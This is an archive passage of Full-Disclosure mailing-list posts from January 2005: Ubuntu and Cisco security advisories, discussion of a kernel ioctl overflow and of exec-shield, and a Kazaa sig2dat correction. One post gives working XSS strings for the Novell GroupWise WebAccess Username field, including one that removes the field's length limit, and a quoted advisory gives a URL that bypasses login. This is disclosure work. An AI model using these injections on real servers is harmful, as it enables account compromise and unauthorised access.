From mike at thompsonmike.co.uk  Wed Jan 19 09:19:02 2005
From: mike at thompsonmike.co.uk (Michael Thompson)
Date: Wed, 19 Jan 2005 09:19:02 +0000
Subject: [Full-Disclosure] SMTP Spam Attempt?
Message-ID: <41EE2606.1020000@thompsonmike.co.uk>

For the past hour I have just watched over 200 dialup machines from all 
over the world attemp to connect to my Mailserver

They were all rejected like the following

Jan 19 09:05:07 polaris postfix/smtpd[24494]: warning: Illegal address 
syntax from host195-202.pool82191.interbusiness.it[82.191.202.195] in 
MAIL command: @

This lasted for about a hour. All I can think of is that I was picked on 
by some script/virus/Trojan looking to spam.

Any Views?
-- 


Mike

http://www.thompsonmike.co.uk


From meissner at suse.de  Wed Jan 19 10:34:03 2005
From: meissner at suse.de (Marcus Meissner)
Date: Wed, 19 Jan 2005 11:34:03 +0100
Subject: [Full-Disclosure] grsecurity 2.1.0 release / 5 Linux kernel
	advisories
In-Reply-To: <20050107181853.GA12617@grsecurity.net>
References: <20050107181853.GA12617@grsecurity.net>
Message-ID: <20050119103403.GA10083@suse.de>

On Fri, Jan 07, 2005 at 01:18:53PM -0500, Brad Spengler wrote:
> Let's try this again, since web archives don't like multipart 
> attachments.
> 
> grsecurity 2.1.0 release / Linux Kernel advisories
> --------------------------------------------------------------------
> 
> Table Of Contents:
...
> 4) 2.6 scsi ioctl integer overflow and information leak


> 4) 2.6 scsi ioctl integer overflow and information leak
> 
> In drivers/block/scsi_ioctl.c:
> 
> at sg_scsi_ioctl():
> >        struct request *rq;
> >        int err, in_len, out_len, bytes, opcode, cmdlen;
>         ^ in_len, out_len are signed int
> >        char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE];
> >
> >        /*
> >         * get in an out lengths, verify they don't exceed a page worth of data
> >         */
> >        if (get_user(in_len, &sic->inlen))
>         ^ in_len is user-controlled
> >                return -EFAULT;
> >        if (get_user(out_len, &sic->outlen))
>         ^ out_len is user-controlled
> >                return -EFAULT;
> >        if (in_len > PAGE_SIZE || out_len > PAGE_SIZE)
>         ^ signed int only has upper bound checked
> >                return -EINVAL;

Well spotted.

I actually spent 30 minutes unsuccessfully trying to get my kernel to
crash with this before a C guru here explained it to me.

The C compiler actually rises to the rescue and safes the kernel.

"A comparison will always be evaluated in the largest integer context
available." (or so)

PAGE_SIZE is defined as (1UL << PAGE_SHIFT) for all architectures on
2.6 kernels.

signed int has 31bits, unsigned long has either 32 or 64 bit.

So this expression will always be evaluated in unsigned long mode. 

In this case the signed int is not converted, but the binary representation
is used, -1 would be in this case 0xffffffff.

	=> No problem.

Ciao, Marcus
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/c8380c03/attachment.bin 

From martin.pitt at canonical.com  Wed Jan 19 11:00:53 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Wed, 19 Jan 2005 12:00:53 +0100
Subject: [Full-Disclosure] [USN-64-1] xpdf, CUPS vulnerabilities
Message-ID: <20050119110053.GA20881@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-64-1		   January 19, 2005
xpdf, cupsys vulnerabilities
CAN-2005-0064
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

cupsys
libcupsimage2
libcupsys2-gnutls10
xpdf-reader
xpdf-utils

The problem can be corrected by upgrading the affected package to
version 1.1.20final+cvs20040330-4ubuntu16.4 (cupsys, libcupsimage2,
and libcupsys2-gnutls10) and 3.00-8ubuntu1.4 (xpdf-reader and
xpdf-utils). In general, a standard system upgrade is sufficient to
effect the necessary changes.

Details follow:

A buffer overflow has been found in the xpdf viewer. An insufficient
input validation of the encryption key length could be exploited by an
attacker providing a specially crafted PDF file which, when processed
by xpdf, could result in abnormal program termination or the execution
of attacker supplied program code with the user's privileges.

The Common UNIX Printing System (CUPS) uses the same code to print PDF
files. In this case, this bug could be exploited to gain the
privileges of the CUPS print server (by default, user cupsys).

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys_1.1.20final+cvs20040330-4ubuntu16.4.diff.gz
      Size/MD5:  1353321 5877c65f6d8f858ae9e176be9ef6410d
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys_1.1.20final+cvs20040330-4ubuntu16.4.dsc
      Size/MD5:      867 7a5091f1718ccc0e56b655fb01b8057e
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys_1.1.20final+cvs20040330.orig.tar.gz
      Size/MD5:  5645146 5eb5983a71b26e4af841c26703fc2f79
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf_3.00-8ubuntu1.4.diff.gz
      Size/MD5:    47899 cbcf2ab245afbabd90086b1022ce65f2
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf_3.00-8ubuntu1.4.dsc
      Size/MD5:      788 b4eb7934f273cd445ffe844242ba3e0c
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf_3.00.orig.tar.gz
      Size/MD5:   534697 95294cef3031dd68e65f331e8750b2c2

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-common_3.00-8ubuntu1.4_all.deb
      Size/MD5:    56410 0f635571ea692f043fdbf3c2e1831253
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf_3.00-8ubuntu1.4_all.deb
      Size/MD5:     1274 300fa460fc04629eee23c0b4b9447fd7

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys-bsd_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:    58900 31f791a66c7d1404e04392b75760ba8e
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys-client_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:   107172 d68ff02919de67e873cd8a606c748855
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:  3614588 e70e1a779b79268a9890a650d1dee919
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsimage2-dev_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:    62546 d0e5bb648e62183786cbc75dce29edbe
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsimage2_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:    53208 3fbb37717ad9ac9e9795f3a2b5ff8bc1
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsys2-dev_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:   101676 f85c589f51c1aa70c019b31e152ba003
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsys2-gnutls10_1.1.20final+cvs20040330-4ubuntu16.4_amd64.deb
      Size/MD5:    74738 7edd4f3093e35376a85d505cf4a3f050
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-reader_3.00-8ubuntu1.4_amd64.deb
      Size/MD5:   666728 adda9e02ae08bb46029d6f1393fca20a
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-utils_3.00-8ubuntu1.4_amd64.deb
      Size/MD5:  1270714 5cd25cc5661e99247ba0af7bcf31297f

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys-bsd_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:    58254 ad8a1dac7aa1dfb6cfff1bde76948f33
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys-client_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:   104976 07e0832f69d47703c382038ef85395ff
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:  3603284 1b986defe60c5e32b99ff2d0be58ea26
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsimage2-dev_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:    62126 70f6bdf50c1ea545e8bd573b375ae863
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsimage2_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:    52792 1ed36a6f187d3262e1d7fb575ed8f872
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsys2-dev_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:    98336 47854bc25adefebae9a5e1826dcd1b1a
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsys2-gnutls10_1.1.20final+cvs20040330-4ubuntu16.4_i386.deb
      Size/MD5:    72012 2bba044150c4527dc11692b27f293755
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-reader_3.00-8ubuntu1.4_i386.deb
      Size/MD5:   631720 706726bf857936af30380b07c72d6dd5
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-utils_3.00-8ubuntu1.4_i386.deb
      Size/MD5:  1193210 34ae871124763656ac7e21c32612e511

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys-bsd_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:    62844 e2b936306040808fef0bd3fe2590d981
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys-client_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:   114812 1d78506eed2c9e352b861d6ba757cc6b
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/cupsys_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:  3633666 95463d6cc9b4082f245bea30b0462964
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsimage2-dev_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:    61738 5e6ae8a2b9d188ec901c17f851212530
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsimage2_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:    55432 714a7305c6a79feb99e2d939d206033d
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsys2-dev_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:   101060 1c99fe289c0c5d046da10001842a6da2
    http://security.ubuntu.com/ubuntu/pool/main/c/cupsys/libcupsys2-gnutls10_1.1.20final+cvs20040330-4ubuntu16.4_powerpc.deb
      Size/MD5:    74834 7f1db6e2634579c504657b6162099db0
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-reader_3.00-8ubuntu1.4_powerpc.deb
      Size/MD5:   692876 f4b9b29c7c8ad9a8fb5a3d6dd332a776
    http://security.ubuntu.com/ubuntu/pool/main/x/xpdf/xpdf-utils_3.00-8ubuntu1.4_powerpc.deb
      Size/MD5:  1310912 b472d87db41d4ad4771cece71a55b7c5
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/17f0358f/attachment.bin 

From tyron.miller at its.mq.edu.au  Wed Jan 19 03:57:24 2005
From: tyron.miller at its.mq.edu.au (tyron miller)
Date: Wed, 19 Jan 2005 14:57:24 +1100
Subject: [security] [Full-Disclosure] Novell GroupWise WebAccess
	error modules loading
Message-ID: <s1ee755f.038@ia01gw.its.mq.edu.au>

Actually, I found that it is possible to run javascript via the "about page" vulnerability, as well as another xss vulnerability with the Username field that I stumbled across. If you type the following line into the Username field and hit enter, it will run the javascript located in the image source field;

"><img src='javascript:for(i=0;i<=4;i++){alert("CHAOS")}'><!

This will also run when you access the "about" page, as described below.

By default, the Username field is limited to 64 characters, however, if you type the following into the Username field first then hit enter, it removes this limit, allowing a more malicious script to be run.

" TYPE=text SIZE=50><!

Cheers,
Ty


Tyron Miller
IT Security Officer
IT Services - Macquarie University

>>> "Marc Ruef" <maru at scip.ch> 18/01/2005 3:42:53 am >>>
 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear ladies and gentlemen

We have found a potential security vulnerability in the Novell GroupWise WebAccess error module handling. First of all it is possible to circumvent the login procedure. If a user connects to https://www.scip.com:1444/servlet/webacc (this is just an example with our domain) he is able to authenticate with his user name and password. If a wrong input is made, the webacc application is loading the error page. It is possible to specify another error document with the $QUERY_STRING variant error. If this reference is done for the webacc itself - the url https://www.scip.com:1444/servlet/webacc?error=webacc would be required -, the login is circumvented. You are always logged in with a "ghost user" without a profile. It seems not to be possible to load and store data or to use other services (e.g. address book or sending email). It is also possible to reach specific template files with specification of their names (e.g. https://www.scip.com:1444/servlet/webacc?error=send for sendi!
 ng emails). Reaching other files than with the extension .htt or files outside the webserver root directory seems not possible. An attacker may use this vulnerability to exploit a bug that is only exploitable by authenticated users. More details on how this htt framework should be used can be found at http://developer.novell.com/ndk/doc/gwwbacc/index.html?page=/ndk/doc/gwwbacc/gwwebacc/data/a6l4t54.html - You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1020 (Novell GroupWise WebAccess error Authentisierung umgehen).

The second flaw depends on the first one. You are able to specify a (wrong) user name in the login screen. Afterwards you circumvent the authentication as described before. If you are opening the about screen (e.g. https://www.scip.com:1444/servlet/webacc?error=about or by clicking on the WebAccess logo on the top) in the Program Release line you see the version data of the GroupWise installation. The user name that has been specified in your last login procedure is printed on the Userid line. It may be possible to do html injection in this case. For example if the user name "<a href=http://www.scip.ch>www.scip.ch</a>" has been used, this html link will be printed. The injection of scripts seems not to be possible because the required tags <script> and </script> are filtered/replaced. This vulnerability may be useful to gain the version data of the installation and it may be possible to realize a social engineering or html injection attack (e.g. loading a corrupt JPEG file t!
 o exploit the Windows buffer overflow). You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1021 (Novell GroupWise WebAccess error about erweiterte Rechte).

We have not found any information on that issue. So I sent this information (nearly the same posting) on 14/12/04 to info at novell.com and asked for a solution. As I haven't heard _anything_ until 23/12/04 I sent a reminder email to the same address. So no reply came back we made this vulnerability public finally to force Novell to react on this case. An Attack Tool Kit (ATK) plugin that addresses this vulnerability will be published in the next days[1].

Regards,

Marc Ruef

[1] http://www.computec.ch/projekte/atk/ 

- -- 
) scip AG (
Technoparkstr. 1
8005 Z?rich
T +41 1 445 18 18 
F +41 1 445 18 19

maru at scip.ch 
www.scip.ch 

- - Aktuellste IT-Sicherheitsluecken -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
Comment: http://www.scip.ch 

iQA/AwUBQevrDBe5hzJzqVMhEQJrtQCg041eH6NVBOQ+GPS5QudSw2ARKAAAni/P
tTao1cSGtOUvnKKsqqH5/0Gs
=A+fy
-----END PGP SIGNATURE-----


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html 
_______________________________________________
security mailing list
security at lists.seifried.org 
http://lists.seifried.org/mailman/listinfo/security



From arjanv at redhat.com  Wed Jan 19 08:30:20 2005
From: arjanv at redhat.com (Arjan van de Ven)
Date: Wed, 19 Jan 2005 09:30:20 +0100
Subject: [Full-Disclosure] Re: Paper: How to exploit overflow vulnerability
	under Fedora Core 2
Message-ID: <20050119083020.GA28566@devserv.devel.redhat.com>


This is a response to a bugtraq posting
(http://www.securityfocus.com/archive/1/387192/2005-01-14/2005-01-20/0)
that the bugtraq moderators repeatedly don't let through; I wanted to get
the remarks wrt the original paper out anyway.


On Fri, 2005-01-14 at 03:08 +0000, vangelis vangelis wrote:
> This paper is about the way of exploiting overflow vulnerability under 
> Fedora Core 2. 
> I don't think this is a perfect guide to the exploitation. 
> If there are some mistakes, give your feedback. 
> I just want this paper will help you to make much better papers about 
> subject.

> 3. What is exec-shield?

>    You can understand 'what exec-shield is' by redaing
> "ANNOUNCE-exec-shield". You can find
> "ANNOUNCE-exec-shield" in
> "http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield".


the text at this url was outdated, we've updated it to link to two other
documents:

exec-shield description:
   http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
description of security enhancements in RHEL/FC
   http://people.redhat.com/drepper/nonselsec.pdf


which closer resemble the state of affairs in FC2 and FC3 (and RHEL3)


> Good! The first step is quite easy. You can find the address of 
> <execl+3> by using gdb.


I would like to point 2 things out here:

1) You can only find this address because prelink has put glibc in a
   fixed (but randomized) location. This fixed location will change
   every 2 weeks to a new randomized value. This means that every
   machine out there has a different value for execl(), and the value
   changes every 2 weeks.
   You can unprelink your system if you don't believe prelink caused
   this.

2) You did not make your application a PIE executable (you can do so
   with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves
   randomized, and in addition will ignore the prelink "fixing" of
   addresses, and thus making it near impossible to find the address of
   the app you want to exploit[1], unless you do it from the same
   debugging session (but if you can attach a debugger you fully own the
   app anyway) Most (if not all) network facing daemons in FC are
   compiled as PIE for this reason, and we're in progress to extending
   that to other "sensitive" binaries


[1] As with all randomisations, one can in principle do a brute-force
attempt, at which point it comes down to statistics and the entropy of
the randomisation.


From markus-kern at gmx.net  Wed Jan 19 12:11:43 2005
From: markus-kern at gmx.net (Markus Kern)
Date: Wed, 19 Jan 2005 13:11:43 +0100
Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer
	Overflow and Denial Of Service by creating files in arbitrary
	locations
In-Reply-To: <17746596171.20050118235951@gmx.net>
References: <001201c4fcd4$d32e9c10$f85ab350@noone>
	<17746596171.20050118235951@gmx.net>
Message-ID: <1035649796.20050119131143@gmx.net>


On Tuesday, January 18, 2005, 11:59:51 PM Markus Kern <markus-kern at gmx.net> wrote:

> On Monday, January 17, 2005, 9:40:47 PM Rafel Ivgi, The-Insider <theinsider at 012.net.il> wrote:

>> Application:   Kazaa
>> Vendors:       http://www.kazaa.com
>> Versions:       kazaa lite k++(probably all others too...)
>> Platforms:      Windows
>> Bug:              Sig2Dat Protocol Remote Integer Overflow and
>>                      Denial Of Service by creating files in arbitrary
>> locations
>> Exploitation:   Remote With Browser
>> Date:             17 Jan 2005
>> Author:          Rafel Ivgi, The-Insider
>> E-Mail:          the_insider at mail.com
>> Website:        http://theinsider.deep-ice.com

<snip toc>

>> Kazaa is currently the world?s most common P2P file sharing application.
>> When installing Kazaa a new protocol is installed named ?sig2dat?.

> This is incorrect. Kazaa itself does not install a handler for the
> 'sig2dat' URIs. In fact it doesn't even know about them. The sig2dat
> URIs are created and handled by a third party tool [1] which contains
> the described flaws and happens to be included in the (unofficial)
> Kazaa Lite package.

I have to correct myself slightly here.

After closer inspection it turns out that more recent versions of
Kazaa Lite include a utility called K-Sig [2] instead of sig2dat.
K-Sig does not share any code with sig2dat. It is not clear which of
the two was used by the original poster but it seems neither of them
do any explicit filtering to prevent directory traversal attacks.

> The official Kazaa from http://www.kazaa.com does not handle sig2dat
> URIs and is not vulnerable.

>> This protocol contain an integer overflow vulnerability which may cause
>> a crash and may allow remote execution of code. There is another
>> vulnerability in the ?File:? parameter which allows creating files in
>> arbitrary locations and committing Denial Of Service.

> [1] sig2dat, http://www.geocities.com/vlaibb/tools.html
>     (The design and code of this thing are horrific and there are no
>     doubt plenty of other bugs to be found)

[2] K-Sig, http://sourceforge.net/projects/hasnain

--
Markus Kern




From martin.pitt at canonical.com  Wed Jan 19 15:56:03 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Wed, 19 Jan 2005 16:56:03 +0100
Subject: [Full-Disclosure] [USN-65-1] Apache utility script vulnerability
Message-ID: <20050119155603.GA24938@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-65-1		   January 19, 2005
apache vulnerabilities
http://bugs.debian.org/290974
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

apache-utils

The problem can be corrected by upgrading the affected package to
version 1.3.31-6ubuntu0.4. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Javier Fern?ndez-Sanguino Pe?a noticed that the "check_forensic"
script created temporary files in an insecure manner. This could
allow a symbolic link attack to create or overwrite arbitrary files
with the privileges of the user invoking the program.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.diff.gz
      Size/MD5:   369655 7ec465eece404f6ddd1d45a8292b1fe6
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.dsc
      Size/MD5:     1102 9165d920ac5f269f5abf886ee392613c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31.orig.tar.gz
      Size/MD5:  3104170 ca475fbb40087eb157ec51334f260d1b

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-dev_1.3.31-6ubuntu0.4_all.deb
      Size/MD5:   329424 f05e89912051a57e3a0f4b439d813bcf
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-doc_1.3.31-6ubuntu0.4_all.deb
      Size/MD5:  1186432 b7490f2099b1bd5b512cb2dba9fc3fcf

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   873090 4de4ad38fa7021c3666349134f3f3939
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:  9131010 8dfb8f02f5cd07223069a08c3156a015
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   520354 81033c5317f6d50b69a796df54f56f90
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   510288 f986a142140d051b3d2590e7add86a54
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   271078 bcb58f9b5a102f4109a0e6bd7b80a1c1
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   397916 6f039537fd6365bd5627a6004f445e45
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_amd64.deb
      Size/MD5:   491306 86f3c435f888d78e6a03456af0eb7101

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   838326 6e8c39afade6e140502592602c180f81
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:  9080282 3555a952ded8b3370691d8585163587a
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   494050 62489a77ba210430b8803aea05be968c
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   483720 5cc3c2014e2b30b1a0906c2748d6bef3
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   264974 65e6aed85dd4ac7c1485f8eae951788f
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   377152 55d3b656566987d140d2677d1c0de61c
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_i386.deb
      Size/MD5:   484640 da71290705c6f6f6faf1d6dc254bf4a6

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   917362 652d1cd08236a6557e44d87b67e4dd16
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:  9225702 033e91323439c25a000b604423d71d46
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   511036 e66e2283e7a70758989198fbf9ebb613
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   506852 a8bd4a1633e5d6c8ba51d01134fee992
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   278286 b25fd9ebbeeafeeb3867828251218d08
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   395396 4eafd593de2508a0c574929718476320
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_powerpc.deb
      Size/MD5:   488664 74541bd75de68e04a43cf61c3c7a276f
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/ad38d3db/attachment.bin 

From psirt at cisco.com  Wed Jan 19 15:35:00 2005
From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team)
Date: Wed, 19 Jan 2005 15:35:00 -0000
Subject: [Full-Disclosure] Cisco Security Advisory: Vulnerability in Cisco
	IOS Embedded Call Processing Solutions
Message-ID: <200501191535.embedded_call_processing-pub@psirt.cisco.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Cisco Security Advisory: Vulnerability in Cisco IOS Embedded Call
Processing Solutions

Revision 1.0

For Public Release 2005 January 19 1500 UTC

+----------------------------------------------------------------------

Contents
========

    Summary
    Affected Products
    Details
    Impact
    Software Versions and Fixes
    Obtaining Fixed Software
    Workarounds
    Exploitation and Public Announcements
    Status of This Notice: FINAL
    Distribution
    Revision History
    Cisco Security Procedures

+----------------------------------------------------------------------

Summary
=======

Cisco Internetwork Operating System (IOS?) Software release trains
12.1YD, 12.2T, 12.3 and 12.3T, when configured for the Cisco IOS
Telephony Service (ITS), Cisco CallManager Express (CME) or Survivable
Remote Site Telephony (SRST) may contain a vulnerability in processing
certain malformed control protocol messages.

A successful exploitation of this vulnerability may cause a reload of
the device and could be exploited repeatedly to produce a Denial of
Service (DoS). This advisory is available at
http://www.cisco.com/warp/public/707/cisco-sa-20050119-itscme.shtml

Cisco has made free software upgrades available to address this
vulnerability for all affected customers. There are workarounds
available to mitigate the effects of the vulnerability.

This vulnerability is documented by Cisco bug ID CSCee08584.

Affected Products
=================

Vulnerable Products
+------------------

This issue affects all Cisco devices running any unfixed version of
Cisco IOS code that supports, and is configured for ITS, CME or SRST.

A Cisco device running ITS or CME will have the following line in the
configuration:

    telephony-service
    

A Cisco device running SRST will have the following line in the
configuration:

    call-manager-fallback
    

To determine the software running on a Cisco product, log in to the
device and issue the show version command to display the system banner.
Cisco IOS Software will identify itself as "Internetwork Operating
System Software" or simply "IOS." On the next line of output, the image
name will be displayed between parentheses, followed by "Version" and
the IOS release name. Other Cisco devices will not have the show
version command or will give different output.

The following example identifies a Cisco product running IOS release
12.0(3) with an installed image name of C2500-IS-L:

    Cisco Internetwork Operating System Software IOS (TM)
        
    2500 Software (C2500-IS-L), Version 12.0(3), RELEASE SOFTWARE
    

The release train label is "12.0".

The next example shows a product running IOS release 12.3(6) with an
image name of C2600-JS-MZ:

    Cisco Internetwork Operating System Software IOS (tm)
    
    C2600 Software (C2600-JS-MZ), Version 12.3(6), RELEASE SOFTWARE (fc1)
    

Additional information about Cisco IOS release naming can be found at 
http://www.cisco.com/warp/public/620/1.html.

Products Confirmed Not Vulnerable
+--------------------------------

ITS, CME and SRST are IOS-only features. Devices that do not run IOS
are not vulnerable.

Details
========

More information about Cisco's IOS Telephony Service (ITS) and Cisco
CallManager Express (CME) can be found here:

http://www.cisco.com/en/US/products/sw/voicesw/ps4625/index.html

More information on Cisco's Survivable Remote Site Telephony (SRST) can
be found here:

http://www.cisco.com/en/US/products/sw/voicesw/ps2169/index.html

ITS, CME and SRST are features that allow a Cisco device running IOS to
control IP Phones using the Skinny Call Control Protocol (SCCP). SCCP
is the Cisco CallManager native signaling protocol.

Certain malformed packets sent to the SCCP port on an IOS device
configured for ITS, CME or SRST may cause the target device to reload.
This issue is documented in Cisco bug ID CSCee08584.

The following commands can be used to determine if ITS or CME are
running. A device that does not have ITS or CME enabled will display:

    Router#show telephony-service
    telephony-service is not enabled
    

A device that has ITS or CME enabled will show something similar to:

    Router#show telephony-service
    CONFIG (Version=3.0)                    
    =====================                   
    Cisco CallManager Express               
    ip source-address 192.168.1.1 port 2000
    max-ephones 2                           
    max-dn 2                                
    max-conferences 8                       
    max-redirect 5                          
    time-format 12                          
    date-format mm-dd-yy                    
    keepalive 30                            
    timeout interdigit 10                   
    timeout busy 10                         
    timeout ringing 180                     
    edit DN through Web:  disabled.         
    edit TIME through web:  disabled.       
    Log (table parameters):                 
         max-size: 150                      
         retain-timer: 15                   
    create cnf-files version-stamp Jan 01 2002 00:00:00
    auto assign 1 to 2                                 
    local directory service: enabled. 
    

The following commands can be used to determine if SRST is running. A
device that does not have SRST enabled will display:

    Router#show call-manager-fallback 
    Call-manager fallback is not enabled
    

